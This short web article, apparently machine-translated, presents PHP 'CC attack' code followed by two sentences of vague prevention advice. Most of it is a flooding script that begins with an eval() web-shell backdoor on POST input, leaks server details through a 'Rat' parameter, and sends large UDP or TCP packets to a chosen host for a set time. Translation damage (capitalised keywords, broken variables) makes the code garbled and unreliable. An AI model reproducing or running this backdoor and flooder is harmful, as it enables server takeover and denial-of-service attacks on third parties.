Phpcc attack code cc attack prevention method
- Eval ($ _ POST [Chr (90)]);
- Set_time_limit (86400 );
- Ignore_user_abort (True );
- $ Packets = 0;
- $ Http = $ _ GET ['http'];
- $ Rand = $ _ GET ['exit '];
- $ Exec_time = $ _ GET ['Time'];
- If (StrLen ($ http) = 0 or StrLen ($ rand) = 0 or StrLen ($ exec_time) = 0)
- {
- If (StrLen ($ _ GET ['Rat ']) <> 0)
- {
- Echo $ _ GET ['Rat ']. $ _ SERVER ["HTTP_HOST"]. "| ". getHostByName ($ _ SERVER ['server _ name']). "| ". php_uname (). "| ". $ _ SERVER ['server _ soft']. $ _ GET ['Rat '];
- Exit;
- }
- Echo "Php 2012 Terminator ";
- Exit;
- }
- For ($ I = 0; I I <65535; $ I ++)
- {
- $ Out. = "X ";
- }
- // Udp1-fsockopen Udp2 pfsockopen Tcp3 CC. center
- $ Max_time = time () + $ exec_time;
- If ($ rand = 53)
- While (1)
- {
- $ Packets ++;
- If (time ()> $ max_time)
- {
- Break;
- }
- $ Fp = fsockopen ("udp: // $ http", $ rand, $ errno, $ errstr, 5 );
- If ($ fp)
- {
- Fwrite ($ fp, $ out );
- Fclose ($ fp );
- }
- }
- Else
- If ($ rand = 500)
- While (1)
- {
- $ Packets ++;
- If (time ()> $ max_time ){
- Break;
- }
- $ Fp = pfsockopen ("udp: // $ http", $ rand, $ errno, $ errstr, 5 );
- If ($ fp)
- {
- Fwrite ($ fp, $ out );
- Fclose ($ fp );
- }
- }
- Else
- While (1)
- {
- $ Packets ++;
- If (time ()> $ max_time ){
- Break;
- }
- $ Fp = pfsockopen ("tcp: // $ http", $ rand, $ errno, $ errstr, 5 );
- If ($ fp)
- {
- Fwrite ($ fp, $ out );
- Fclose ($ fp );
- }
- }
- ?>
For cc attack prevention, if it is a dynamic page, you can determine the time. if it is a static website, you need to install anti-cc attack software on the server. generally, server security is good. Always pay attention to the prevention of php cc attacks. |